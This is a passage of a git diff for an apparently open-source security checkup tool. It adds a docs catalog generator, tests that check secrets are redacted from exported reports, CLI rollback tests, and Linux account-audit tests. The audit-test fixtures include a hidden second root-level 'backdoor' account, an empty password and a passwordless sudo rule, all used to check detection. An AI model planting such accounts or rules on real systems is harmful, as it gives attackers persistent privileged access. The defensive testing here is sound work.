this script with ``--check`` to fail the build if the committed page no +longer matches the registry. + +Usage:: + + python scripts/generate_module_catalog.py # write docs/modules.md + python scripts/generate_module_catalog.py --check # exit 1 if stale + +Note that discovery imports every module's ``__init__.py`` in-process (roadmap +P0#10), so this script executes the same code a scan would import. It never +calls ``check()`` or ``fix()`` — only class-level metadata is read. +""" + +from __future__ import annotations + +import argparse +import sys +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parent.parent +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from rescue.models import Platform # noqa: E402 +from rescue.module_base import ModuleBase # noqa: E402 +from rescue.registry import discover_modules # noqa: E402 + +MODULES_DIR = REPO_ROOT / "modules" +OUTPUT_PATH = REPO_ROOT / "docs" / "modules.md" + +PLATFORM_LABELS = { + Platform.DARWIN: "macOS", + Platform.WIN32: "Windows", + Platform.LINUX: "Linux", +} +PLATFORM_ORDER = [Platform.DARWIN, Platform.WIN32, Platform.LINUX] + +CATEGORY_BLURBS = { + "security": ( + "Malware and spyware indicators, persistence, remote access, " + "credential exposure, and system hardening posture." + ), + "integrity": ( + "Whether the machine's own subsystems are healthy and intact: disks, " + "updates, backups, drivers, logs, keychains, networking stacks." + ), + "performance": ( + "Why the machine is slow: CPU and memory pressure, thermals, disk " + "space, startup load, and background work." + ), + "network": ( + "The local network and how this machine sits on it: interfaces, " + "neighbours, ports, DNS, and interception." + ), + "bloatware": ( + "Preinstalled and vendor software that consumes resources without " + "being asked for." + ), +} + +HEADER = """# Module catalog + +!!! info "This page is generated" + Written by `python scripts/generate_module_catalog.py` from the live + registry (`rescue.registry.discover_modules`). CI runs the same script with + `--check`, so this page cannot drift from the modules the tool actually + ships. Do not edit it by hand. + +A **module** is one self-contained check. It declares which platforms it can +run on, how risky its `fix()` is, and roughly how long its `check()` takes, then +returns findings. Modules never run in isolation from the rest of the +system — see [Architecture](architecture.md) for how a scan is assembled, and +[Writing a module](writing-a-module.md) for the authoring contract. + +Reading the columns: + +- **Platforms** — the module only runs where it declares support. Everywhere + else it is filtered out before the scan starts, or returns + `supported=False` with a reason. It never silently reports "no issues". +- **Risk** — the risk level of the module's `fix()`, not of its `check()`. + Every `check()` is read-only. `safe` fixes are low-impact and reversible; + `moderate` and `destructive` fixes always require explicit confirmation. +- **Duration** — the author's estimate for `check()`. The orchestrator + enforces a hard 60-second per-module timeout regardless. + +Run any single module directly: + +```console +$ rescue run +``` +""" + +FOOTER = """ +## Reading a module before you run it + +Every module is a single `__init__.py` under +`modules///`. There is no compiled code, no plugin +download, and no dynamic fetch — what is in the tree is what runs. To read one: + +```console +$ less modules/security/linux_firewall_check/__init__.py +``` + +The top of the file is a docstring stating what the check looks at and why, the +class body declares the metadata shown in the tables above, `check()` is the +read-only half, and `fix()` is the half that produces guidance or mutations. +See [Trust and safety](trust-and-safety.md). +""" + + +def _module_dir(module: ModuleBase) -> str: + """Repo-relative directory a module was loaded from, for the reader.""" + return f"modules/{module.category}/{module.name}/" + + +def _summary(module: ModuleBase) -> str: + """First line of the module's documentation, if it has any. + + The convention in this tree is a file-level docstring at the top of + ``__init__.py`` (that is also what ``rescue validate`` accepts as + documentation), so both the class docstring and the containing module's + docstring are considered, class first. + """ + candidates = [type(module).__doc__] + containing = sys.modules.get(type(module).__module__) + candidates.append(getattr(containing, "__doc__", None)) + + for doc in candidates: + if not doc: + continue + for raw_line in doc.strip().splitlines(): + line = raw_line.strip() + if line: + return line + return "" + + +def _cell(text: str) -> str: + """Make free text safe inside a Markdown table cell.""" + return text.replace("|", r"\|").replace("\n", " ").strip() + + +def _platforms(module: ModuleBase) -> str: + labels = [ + PLATFORM_LABELS[p] + for p in PLATFORM_ORDER + if p in module.platforms + ] + unknown = sorted( + str(p) for p in module.platforms if p not in PLATFORM_LABELS + ) + return ", ".join(labels + unknown) or "none declared" + + +def render(modules: list[ModuleBase]) -> str: + by_category: dict[str, list[ModuleBase]] = {} + for module in modules: + by_category.setdefault(module.category or "uncategorised", []).append(module) + + platform_counts = { + p: sum(1 for m in modules if p in m.platforms) for p in PLATFORM_ORDER + } + + lines: list[str] = [HEADER, "", "## Coverage at a glance", ""] + lines.append(f"**{len(modules)} modules** ship in the tree.") + lines.append("") + lines.append("| Platform | Modules that run there |") + lines.append("| --- | ---: |") + for platform in PLATFORM_ORDER: + lines.append(f"| {PLATFORM_LABELS[platform]} | {platform_counts[platform]} |") + lines.append("") + lines.append( + "A module can support more than one platform, so these numbers add up " + "to more than the total." + ) + lines.append("") + lines.append("| Category | Modules |") + lines.append("| --- | ---: |") + for category in sorted(by_category): + lines.append(f"| [{category}](#{category}) | {len(by_category[category])} |") + lines.append("") + + for category in sorted(by_category): + entries = sorted(by_category[category], key=lambda m: m.name) + lines.append(f"## {category}") + lines.append("") + blurb = CATEGORY_BLURBS.get(category) + if blurb: + lines.append(blurb) + lines.append("") + per_platform = ", ".join( + f"{PLATFORM_LABELS[p]} {sum(1 for m in entries if p in m.platforms)}" + for p in PLATFORM_ORDER + ) + lines.append(f"{len(entries)} modules — {per_platform}.") + lines.append("") + lines.append("| Module | Platforms | Risk | Duration | What it checks |") + lines.append("| --- | --- | --- | --- | --- |") + for module in entries: + risk = getattr(module.risk_level, "value", str(module.risk_level)) + duration = module.estimated_duration or "unknown" + lines.append( + "| `{name}` | {platforms} | {risk} | {duration} | {summary} |".format( + name=_cell(module.name), + platforms=_platforms(module), + risk=_cell(str(risk)), + duration=_cell(str(duration)), + summary=_cell(_summary(module)) or "—", + ) + ) + lines.append("") + + lines.append(FOOTER.strip()) + lines.append("") + return "\n".join(lines) + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument( + "--check", + action="store_true", + help="Do not write; exit 1 if the committed page is out of date.", + ) + parser.add_argument( + "--output", + type=Path, + default=OUTPUT_PATH, + help=f"Where to write the catalog (default: {OUTPUT_PATH.relative_to(REPO_ROOT)}).", + ) + args = parser.parse_args(argv) + + modules = discover_modules(MODULES_DIR) + if not modules: + # Discovery finding nothing is the signature of a packaging or path bug. + # Writing an empty catalog would quietly document the tool as having no + # modules at all, so refuse instead. + print( + f"error: no modules discovered under {MODULES_DIR}; refusing to " + "generate an empty catalog", + file=sys.stderr, + ) + return 1 + + rendered = render(modules) + + if args.check: + if not args.output.exists(): + print(f"error: {args.output} does not exist; run this script without --check", file=sys.stderr) + return 1 + current = args.output.read_text(encoding="utf-8") + if current != rendered: + print( + f"error: {args.output} is out of date " + f"({len(modules)} modules discovered). Run " + "'python scripts/generate_module_catalog.py' and commit the result.", + file=sys.stderr, + ) + return 1 + print(f"{args.output} is up to date ({len(modules)} modules).") + return 0 + + args.output.parent.mkdir(parents=True, exist_ok=True) + args.output.write_text(rendered, encoding="utf-8") + print(f"Wrote {args.output} ({len(modules)} modules).") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests/test_case_export.py b/tests/test_case_export.py new file mode 100644 index 0000000..ad934bf --- /dev/null +++ b/tests/test_case_export.py @@ -0,0 +1,208 @@ +"""Tests for the redacted rescue-case export (roadmap P1#2). + +The export is the artifact most likely to be pasted into a chat window or a +public issue, so the tests are weighted toward redaction and toward the export +never overstating what happened. +""" + +import json +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.case import ( + RescueCase, + case_to_dict, + case_to_json, + case_to_markdown, + redact, + write_case, +) +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + + +class _Mod(ModuleBase): + name = "demo_module" + category = "security" + platforms = [Platform.LINUX] + estimated_duration = "1s" + + def check(self, profile: SystemProfile) -> CheckResult: + return CheckResult(module_name=self.name) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + return FixResult(module_name=self.name) + + +def _profile() -> SystemProfile: + return SystemProfile( + platform=Platform.LINUX, + os_name="Ubuntu 24.04", + os_version="6.8.0", + architecture="x86_64", + cpu_model="Test CPU", + cpu_cores=4, + ram_bytes=8 * 1024**3, + hostname="jane-smiths-laptop", + ) + + +def _case_with_finding(**finding_kwargs) -> RescueCase: + case = RescueCase(profile=_profile(), profile_name=None, started_at="2026-01-01T00:00:00+00:00") + defaults = dict( + title="Something to look at", + description="Details here.", + severity=Severity.WARNING, + category="security", + ) + defaults.update(finding_kwargs) + check = CheckResult(module_name="demo_module", findings=[Finding(**defaults)]) + case.add(_Mod(), check) + return case + + +def test_github_token_is_redacted(): + secret = "ghp_" + "a" * 36 + assert secret not in redact(f"found token {secret} in config") + assert "github token" in redact(f"found token {secret} in config") + + +def test_private_key_block_is_redacted(): + blob = "-----BEGIN OPENSSH PRIVATE KEY-----\nMIIEow\n-----END OPENSSH PRIVATE KEY-----" + assert "MIIEow" not in redact(blob) + + +def test_key_value_secrets_are_redacted(): + assert "hunter2" not in redact("password=hunter2") + assert "s3cr3t" not in redact("api_key: s3cr3t") + + +def test_email_addresses_are_redacted(): + assert "jane@example.com" not in redact("signed in as jane@example.com") + + +def test_authorization_header_is_redacted(): + assert "abc123" not in redact("Authorization: Bearer abc123") + + +def test_redaction_reaches_nested_finding_data(): + """Finding.data is free-form; 280 modules put arbitrary strings in it.""" + secret = "sk-" + "b" * 32 + case = _case_with_finding(data={"evidence": {"lines": [f"key={secret}"]}}) + assert secret not in case_to_json(case) + + +def test_hostname_is_never_exported(): + case = _case_with_finding() + assert "jane-smiths-laptop" not in case_to_json(case) + + +def test_home_directory_path_is_collapsed(): + home = str(Path.home()) + case = _case_with_finding(description=f"Found at {home}/Library/LaunchAgents/x.plist") + exported = case_to_dict(case) + described = exported["modules"][0]["findings"][0]["description"] + assert home not in described + assert "~/Library/LaunchAgents/x.plist" in described + + +def test_guidance_is_never_counted_as_a_system_change(): + """A module marking guidance successful must not read as a repair (P0#6).""" + case = RescueCase(profile=_profile()) + check = CheckResult(module_name="demo_module", findings=[ + Finding(title="t", description="d", severity=Severity.INFO, category="security") + ]) + fix = FixResult( + module_name="demo_module", + actions=[ + Action( + title="Open System Settings and turn this on", + description="Manual step.", + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + executed=True, + success=True, + ) + ], + ) + case.add(_Mod(), check, fix) + exported = case_to_dict(case) + assert exported["summary"]["system_changes"] == 0 + assert exported["summary"]["manual_actions_required"] == 1 + assert exported["modules"][0]["actions"][0]["changed_the_system"] is False + + +def test_executed_mutation_is_counted_as_a_system_change(): + case = RescueCase(profile=_profile()) + fix = FixResult( + module_name="demo_module", + actions=[ + Action( + title="Enabled the firewall", + description="Changed a setting.", + risk_level=RiskLevel.SAFE, + kind=ActionKind.MUTATION, + executed=True, + success=True, + data={"rollback": "Turn the firewall back off in Settings."}, + ) + ], + ) + case.add(_Mod(), CheckResult(module_name="demo_module"), fix) + exported = case_to_dict(case) + assert exported["summary"]["system_changes"] == 1 + assert exported["modules"][0]["actions"][0]["rollback"] + + +def test_failed_and_unsupported_checks_are_reported_not_hidden(): + """An unsupported check must never read as a clean bill of health.""" + case = RescueCase(profile=_profile()) + case.add(_Mod(), CheckResult(module_name="demo_module", error="boom")) + case.add( + _Mod(), + CheckResult(module_name="demo_module", supported=False, unsupported_reason="wrong platform"), + ) + exported = case_to_dict(case) + assert exported["summary"]["modules_failed"] == 1 + assert exported["summary"]["modules_unsupported"] == 1 + markdown = case_to_markdown(case) + assert "did not produce a result" in markdown + assert "wrong platform" in markdown + + +def test_export_is_valid_json_with_a_schema_version(): + exported = json.loads(case_to_json(_case_with_finding())) + assert exported["schema_version"] >= 1 + assert exported["redaction"]["applied"] is True + + +def test_non_serializable_finding_data_does_not_break_the_export(): + case = _case_with_finding(data={"path": Path("/tmp/x"), "when": object()}) + json.loads(case_to_json(case)) # must not raise + + +def test_write_case_produces_both_files(tmp_path): + json_path, md_path = write_case(_case_with_finding(), tmp_path, stem="case-test") + assert json_path.exists() and md_path.exists() + assert json.loads(json_path.read_text())["schema_version"] >= 1 + assert "# Rescue case report" in md_path.read_text() + + +def test_written_files_are_owner_only(tmp_path): + if sys.platform.startswith("win"): + return # POSIX mode bits are not meaningful here + json_path, _ = write_case(_case_with_finding(), tmp_path, stem="case-perm") + assert json_path.stat().st_mode & 0o077 == 0 diff --git a/tests/test_cli_copilot.py b/tests/test_cli_copilot.py index 76b037b..0d0f5fa 100644 --- a/tests/test_cli_copilot.py +++ b/tests/test_cli_copilot.py @@ -101,8 +101,14 @@ def test_auto_without_copilot_never_mentions_ai(): assert result.exit_code == 0 mock_get_provider.assert_not_called() - assert "AI" not in result.output - assert "copilot" not in result.output.lower() + # Asserted against stdout, not `output`. Since click 8.2 `output` mixes + # stderr in, and the startup integrity check writes its warning there — + # listing every file that failed to verify, one of which is + # `ai/copilot.py`. That made this test fail for an unrelated reason on any + # machine with a stale or line-ending-mangled manifest, which is exactly + # what Windows CI hit. + assert "AI" not in result.stdout + assert "copilot" not in result.stdout.lower() def test_auto_copilot_provider_error_does_not_crash(): diff --git a/tests/test_cli_update_recovery.py b/tests/test_cli_update_recovery.py new file mode 100644 index 0000000..c7fe755 --- /dev/null +++ b/tests/test_cli_update_recovery.py @@ -0,0 +1,101 @@ +"""CLI-level tests for the two update-recovery paths. + +The property worth a test of its own: `--use-bundled` must work on a machine +whose trusted-signer configuration is broken or unpopulated. That is precisely +the machine that needs to fall back to the content it was installed with, and +an escape hatch that depends on the thing that failed is not an escape hatch. +""" + +from unittest.mock import patch + +from click.testing import CliRunner + +from rescue.cli import main +from rescue.security.signers import TrustConfigurationError +from rescue.update.config import ContentRepoConfig +from rescue.update.engine import UpdateResult + + +def _config(tmp_path) -> ContentRepoConfig: + return ContentRepoConfig( + remote_url="https://example.com/content.git", + local_path=tmp_path / "content", + trusted_signers_path=tmp_path / "trusted_signers.json", + revoked_signers_path=tmp_path / "revoked_signers.json", + required_approvals=2, + ) + + +def test_rollback_and_use_bundled_cannot_be_combined(tmp_path): + with patch("rescue.cli.default_config", return_value=_config(tmp_path)): + result = CliRunner().invoke(main, ["update", "--rollback", "--use-bundled"]) + assert result.exit_code == 2 + assert "cannot be combined" in result.output + + +def test_use_bundled_works_without_a_valid_trust_configuration(tmp_path): + config = _config(tmp_path) + (config.local_path / ".git").mkdir(parents=True) + (config.local_path / ".git" / "rescue-applied-head").write_text("abc123") + + with patch("rescue.cli.default_config", return_value=config), \ + patch("rescue.cli.UpdateEngine", side_effect=TrustConfigurationError("placeholder keys")): + result = CliRunner().invoke(main, ["update", "--use-bundled"]) + + assert result.exit_code == 0 + assert "deactivated" in result.output + # The marker is gone, so runtime.active_content_root() falls back to bundled. + assert not (config.local_path / ".git" / "rescue-applied-head").exists() + # And nothing was deleted. + assert (config.local_path / ".git").is_dir() + + +def test_rollback_reports_a_broken_trust_configuration_and_points_at_the_fallback(tmp_path): + with patch("rescue.cli.default_config", return_value=_config(tmp_path)), \ + patch("rescue.cli.UpdateEngine", side_effect=TrustConfigurationError("placeholder keys")): + result = CliRunner().invoke(main, ["update", "--rollback"]) + + assert result.exit_code == 1 + assert "--use-bundled" in result.output + + +def test_rollback_exits_non_zero_when_there_is_nothing_to_roll_back_to(tmp_path): + with patch("rescue.cli.default_config", return_value=_config(tmp_path)), \ + patch("rescue.cli.UpdateEngine") as engine_cls: + engine_cls.return_value.rollback.return_value = UpdateResult( + status="no_previous_version", + old_commit="abc123", + new_commit=None, + message="No previous content version is recorded on this machine.", + ) + result = CliRunner().invoke(main, ["update", "--rollback"]) + + assert result.exit_code == 1 + assert "No previous content version" in result.output + + +def test_successful_rollback_reports_the_version_it_returned_to(tmp_path): + with patch("rescue.cli.default_config", return_value=_config(tmp_path)), \ + patch("rescue.cli.UpdateEngine") as engine_cls: + engine_cls.return_value.rollback.return_value = UpdateResult( + status="rolled_back", + old_commit="new222", + new_commit="old111", + message="Rolled back to old111.", + ) + result = CliRunner().invoke(main, ["update", "--rollback"]) + + assert result.exit_code == 0 + assert "Rolled back to old111." in result.output + + +def test_rollback_dry_run_is_passed_through(tmp_path): + with patch("rescue.cli.default_config", return_value=_config(tmp_path)), \ + patch("rescue.cli.UpdateEngine") as engine_cls: + engine_cls.return_value.rollback.return_value = UpdateResult( + status="dry_run", old_commit="new222", new_commit="old111", + message="Would roll back to old111.", + ) + CliRunner().invoke(main, ["update", "--rollback", "--dry-run"]) + + engine_cls.return_value.rollback.assert_called_once_with(dry_run=True) diff --git a/tests/test_linux_security_checkup_profile.py b/tests/test_linux_security_checkup_profile.py new file mode 100644 index 0000000..c545f0a --- /dev/null +++ b/tests/test_linux_security_checkup_profile.py @@ -0,0 +1,58 @@ +"""The Linux checkup profile has to select real, Linux-capable, read-only modules. + +A profile is the one-command entry point most people will actually use, so the +ways it can be wrong are the ways the tool looks broken: naming a module that +does not exist (it silently runs fewer checks), naming a macOS-only module (it +reports "not supported here" rows for no reason), or including something that +changes the system in a profile documented as read-only. +""" + +from pathlib import Path + +from rescue.models import Platform, RiskLevel +from rescue.profiles import discover_profiles, filter_modules_by_profile +from rescue.registry import discover_modules + +PROJECT_ROOT = Path(__file__).parent.parent + +PROFILE = discover_profiles(PROJECT_ROOT / "profiles")["linux_security_checkup"] +MODULES = discover_modules(PROJECT_ROOT / "modules") +SELECTED = filter_modules_by_profile(MODULES, PROFILE) + + +def test_every_named_module_exists(): + available = {m.name for m in MODULES} + missing = sorted(set(PROFILE.include_modules) - available) + assert not missing, f"profile names modules that do not exist: {missing}" + + +def test_the_profile_actually_selects_modules(): + assert len(SELECTED) == len(PROFILE.include_modules) + + +def test_every_selected_module_supports_linux(): + """Otherwise the run is padded with rows that could never produce a result.""" + wrong_platform = sorted(m.name for m in SELECTED if Platform.LINUX not in m.platforms) + assert not wrong_platform, f"not runnable on Linux: {wrong_platform}" + + +def test_no_selected_module_can_change_the_system_unattended(): + """The profile is documented as read-only; auto_apply is what would break that.""" + mutating = sorted(m.name for m in SELECTED if getattr(m, "auto_apply", False)) + assert not mutating, f"would run unattended mutations: {mutating}" + + +def test_selected_modules_are_all_safe_risk(): + risky = sorted(m.name for m in SELECTED if m.risk_level is not RiskLevel.SAFE) + assert not risky, f"non-SAFE modules in a read-only checkup: {risky}" + + +def test_exposure_is_checked_before_persistence_and_health(): + """Order is deliberate: what can reach the machine, then what runs on it. + + Someone reading a long result list acts on the first few rows, so the rows + that describe how a stranger reaches this machine come first. + """ + order = PROFILE.include_modules + assert order.index("linux_firewall_check") < order.index("linux_persistence_audit") + assert order.index("linux_ssh_hardening") < order.index("linux_journal_errors") diff --git a/tests/test_module_browser_privacy_check.py b/tests/test_module_browser_privacy_check.py index 2031f78..6891cbc 100644 --- a/tests/test_module_browser_privacy_check.py +++ b/tests/test_module_browser_privacy_check.py @@ -1,9 +1,20 @@ +import os +import pytest import sys from pathlib import Path from unittest.mock import patch, MagicMock sys.path.insert(0, str(Path(__file__).parent.parent)) +# Skipped off POSIX: browser_privacy_check is macOS-only; these fixtures are ~/Library paths. +# The module under test cannot run on Windows, so there is nothing here a +# Windows job could meaningfully exercise — and a test that fails for the +# platform rather than for the code teaches people to ignore the suite. +pytestmark = pytest.mark.skipif( + os.name != "posix", + reason="browser_privacy_check is macOS-only; these fixtures are ~/Library paths", +) + from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode from rescue.registry import discover_modules diff --git a/tests/test_module_clamav_scanner.py b/tests/test_module_clamav_scanner.py index c9c0eb4..f4f7e43 100644 --- a/tests/test_module_clamav_scanner.py +++ b/tests/test_module_clamav_scanner.py @@ -1,3 +1,5 @@ +import os +import pytest import sys from pathlib import Path from unittest.mock import patch, MagicMock @@ -5,6 +7,15 @@ sys.path.insert(0, str(Path(__file__).parent.parent)) +# Skipped off POSIX: clamav_scanner patches os.path.stat, which does not exist on ntpath. +# The module under test cannot run on Windows, so there is nothing here a +# Windows job could meaningfully exercise — and a test that fails for the +# platform rather than for the code teaches people to ignore the suite. +pytestmark = pytest.mark.skipif( + os.name != "posix", + reason="clamav_scanner patches os.path.stat, which does not exist on ntpath", +) + from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode from rescue.registry import discover_modules diff --git a/tests/test_module_code_consistency.py b/tests/test_module_code_consistency.py index a49b2ed..8d485c0 100644 --- a/tests/test_module_code_consistency.py +++ b/tests/test_module_code_consistency.py @@ -13,12 +13,20 @@ from rescue.cli import _get_modules_dir from rescue.registry import discover_modules -_CODE_LITERAL = re.compile(r'code\s*=\s*["\'](security\.[a-z0-9_.]+)["\']') +# Codes are "..". The category was hardcoded to +# `security` when this gate was written, because those were the only modules +# declaring emits_codes; that silently exempted every other category from the +# check rather than passing it. Matching any category makes the gate apply to +# integrity, performance, network and bloatware modules too. +_CODE_LITERAL = re.compile(r'code\s*=\s*["\']([a-z0-9_]+\.[a-z0-9_.]+)["\']') def _module_source(modules_dir: Path, mod) -> str: src = modules_dir / mod.category / mod.name / "__init__.py" - return src.read_text() if src.exists() else "" + # Explicit encoding: module sources are UTF-8 and several contain + # typographic punctuation. The locale codec on Windows (cp1252) raised + # UnicodeDecodeError here, so this gate could not run on Windows at all. + return src.read_text(encoding="utf-8") if src.exists() else "" def test_emits_codes_match_code_literals(): diff --git a/tests/test_module_code_signature_audit.py b/tests/test_module_code_signature_audit.py index 23aeb1c..d158ae4 100644 --- a/tests/test_module_code_signature_audit.py +++ b/tests/test_module_code_signature_audit.py @@ -1,3 +1,4 @@ +import os import sys from pathlib import Path from unittest.mock import patch @@ -124,6 +125,13 @@ def handler(args, **kw): assert "Tampered" in finding.title +@pytest.mark.skipif( + os.name != "posix", + reason=( + "asserts on the macOS /Applications prefix; on Windows a PurePath " + "renders it with backslashes and the system-wide check cannot match" + ), +) def test_unsigned_app_in_system_location_is_a_warning(mod): """An unsigned app is WARNING, never CRITICAL: it has benign explanations.""" mod.app_dirs = ["/Applications"] diff --git a/tests/test_module_directory_permissions.py b/tests/test_module_directory_permissions.py index bd00f5e..a760d1c 100644 --- a/tests/test_module_directory_permissions.py +++ b/tests/test_module_directory_permissions.py @@ -4,8 +4,19 @@ from pathlib import Path from unittest.mock import patch +import pytest + sys.path.insert(0, str(Path(__file__).parent.parent)) +# Several tests here call os.getuid(), which does not exist on Windows. The +# module under test is macOS-only, so there is nothing for Windows to exercise; +# skipping is honest, and it is done at module scope so a Windows run reports +# "skipped" rather than a pile of AttributeErrors. +pytestmark = pytest.mark.skipif( + not hasattr(os, "getuid"), + reason="directory_permissions is macOS-only and depends on POSIX uids", +) + from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode from rescue.registry import discover_modules diff --git a/tests/test_module_disk_permissions_repair.py b/tests/test_module_disk_permissions_repair.py index 6e1a6e4..49bfce6 100644 --- a/tests/test_module_disk_permissions_repair.py +++ b/tests/test_module_disk_permissions_repair.py @@ -3,8 +3,21 @@ from pathlib import Path from unittest.mock import patch, MagicMock +import pytest + sys.path.insert(0, str(Path(__file__).parent.parent)) +# `os.getuid` does not exist on Windows, and this file calls it at import time, +# so on Windows it did not fail — it aborted collection of the entire suite +# before any test ran. The module under test is macOS-only and calls +# `os.getuid()` itself, so there is nothing here Windows could meaningfully +# exercise; skipping the file is the honest outcome, and skipping it at module +# scope is what keeps the other 3600 tests running. +pytestmark = pytest.mark.skipif( + not hasattr(os, "getuid"), + reason="disk_permissions_repair is macOS-only and depends on POSIX uids", +) + from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode from rescue.registry import discover_modules @@ -30,7 +43,7 @@ def _get_module(): # The module checks ownership against os.getuid(), so the "correctly owned" # fixture uid must be this process's uid -- not a hardcoded 501, which only # matched on a typical macOS user account and failed as root or on CI. -CURRENT_UID = os.getuid() +CURRENT_UID = os.getuid() if hasattr(os, "getuid") else 501 # A healthy /usr/local is specifically *not* root-owned, so it cannot reuse # CURRENT_UID when the suite runs as root (as it does in CI containers). diff --git a/tests/test_module_launch_agent_audit.py b/tests/test_module_launch_agent_audit.py index d2f18d9..ada4ed6 100644 --- a/tests/test_module_launch_agent_audit.py +++ b/tests/test_module_launch_agent_audit.py @@ -1,3 +1,5 @@ +import os +import pytest import sys from pathlib import Path from unittest.mock import patch, MagicMock @@ -5,6 +7,15 @@ sys.path.insert(0, str(Path(__file__).parent.parent)) +# Skipped off POSIX: launch_agent_audit is macOS-only; these fixtures are ~/Library/LaunchAgents paths. +# The module under test cannot run on Windows, so there is nothing here a +# Windows job could meaningfully exercise — and a test that fails for the +# platform rather than for the code teaches people to ignore the suite. +pytestmark = pytest.mark.skipif( + os.name != "posix", + reason="launch_agent_audit is macOS-only; these fixtures are ~/Library/LaunchAgents paths", +) + from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode from rescue.registry import discover_modules diff --git a/tests/test_module_linux_account_audit.py b/tests/test_module_linux_account_audit.py new file mode 100644 index 0000000..13bf1f3 --- /dev/null +++ b/tests/test_module_linux_account_audit.py @@ -0,0 +1,177 @@ +"""Tests for linux_account_audit. + +The distinction that has to hold: an unreadable /etc/shadow reports "not +checked", never "no empty passwords found". +""" + +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + +PASSWD = ( + "root:x:0:0:root:/root:/bin/bash\n" + "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n" + "jane:x:1000:1000:Jane:/home/jane:/bin/bash\n" +) + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_account_audit") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Debian 12", + os_version="6.1.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=2, + ram_bytes=4 * 1024**3, + ) + + +def _configure(mod, tmp_path, passwd=PASSWD, shadow=None, group="", sudoers=None): + (tmp_path / "passwd").write_text(passwd) + mod.passwd_path = str(tmp_path / "passwd") + if shadow is None: + mod.shadow_path = str(tmp_path / "absent-shadow") + else: + (tmp_path / "shadow").write_text(shadow) + mod.shadow_path = str(tmp_path / "shadow") + (tmp_path / "group").write_text(group) + mod.group_path = str(tmp_path / "group") + if sudoers is None: + mod.sudoers_path = str(tmp_path / "absent-sudoers") + else: + (tmp_path / "sudoers").write_text(sudoers) + mod.sudoers_path = str(tmp_path / "sudoers") + mod.sudoers_dir = str(tmp_path / "sudoers.d") + return mod + + +def _no_commands(mod): + def fake(args, **kwargs): + return CommandResult( + args=list(args), returncode=None, stdout="", stderr="", + timed_out=False, error="not available", duration_s=0.0, truncated=False, + ) + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + assert _get_module().check(_profile(Platform.DARWIN)).supported is False + + +def test_unreadable_passwd_is_an_error_not_a_clean_result(tmp_path): + mod = _get_module() + mod.passwd_path = str(tmp_path / "nope") + with _no_commands(mod): + result = mod.check(_profile()) + assert result.error is not None + assert not result.has_issues + + +def test_second_uid0_account_is_critical(tmp_path): + mod = _configure( + _get_module(), tmp_path, + passwd=PASSWD + "backdoor:x:0:0::/root:/bin/bash\n", + ) + with _no_commands(mod): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("extra_uid0_account")) + assert finding.severity is Severity.CRITICAL + assert finding.data["account"] == "backdoor" + + +def test_root_itself_is_not_reported_as_an_extra_uid0(tmp_path): + mod = _configure(_get_module(), tmp_path) + with _no_commands(mod): + result = mod.check(_profile()) + assert "security.linux_account_audit.extra_uid0_account" not in _codes(result) + + +def test_unreadable_shadow_reports_not_checked(tmp_path): + mod = _configure(_get_module(), tmp_path, shadow=None) + with _no_commands(mod): + result = mod.check(_profile()) + codes = _codes(result) + assert "security.linux_account_audit.shadow_unreadable" in codes + assert "security.linux_account_audit.empty_password" not in codes + + +def test_empty_password_on_a_loginable_account_is_critical(tmp_path): + mod = _configure( + _get_module(), tmp_path, + shadow="root:$6$hash:19000:0:99999:7:::\njane::19000:0:99999:7:::\n", + ) + with _no_commands(mod): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("empty_password")) + assert finding.data["account"] == "jane" + assert finding.severity is Severity.CRITICAL + + +def test_empty_password_on_a_nologin_system_account_is_ignored(tmp_path): + """daemon has no password and no shell; reporting it would be noise.""" + mod = _configure( + _get_module(), tmp_path, + shadow="daemon::19000:0:99999:7:::\njane:$6$hash:19000:0:99999:7:::\n", + ) + with _no_commands(mod): + result = mod.check(_profile()) + assert "security.linux_account_audit.empty_password" not in _codes(result) + + +def test_nopasswd_sudo_rule_is_reported(tmp_path): + mod = _configure( + _get_module(), tmp_path, + sudoers="root ALL=(ALL:ALL) ALL\njane ALL=(ALL) NOPASSWD: ALL\n", + ) + with _no_commands(mod): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("passwordless_sudo")) + assert finding.data["principal"] == "jane" + + +def test_commented_out_nopasswd_rule_is_not_reported(tmp_path): + mod = _configure( + _get_module(), tmp_path, + sudoers="# jane ALL=(ALL) NOPASSWD: ALL\n", + ) + with _no_commands(mod): + result = mod.check(_profile()) + assert "security.linux_account_audit.passwordless_sudo" not in _codes(result) + + +def test_inventory_lists_admin_group_members(tmp_path): + mod = _configure(_get_module(), tmp_path, group="sudo:x:27:jane\nusers:x:100:jane\n") + with _no_commands(mod): + result = mod.check(_profile()) + inventory = next(f for f in result.findings if f.code.endswith("admin_inventory")) + assert inventory.data["admin_groups"]["sudo"] == ["jane"] + assert inventory.severity is Severity.INFO + + +def test_fix_is_guidance_only(tmp_path): + mod = _configure( + _get_module(), 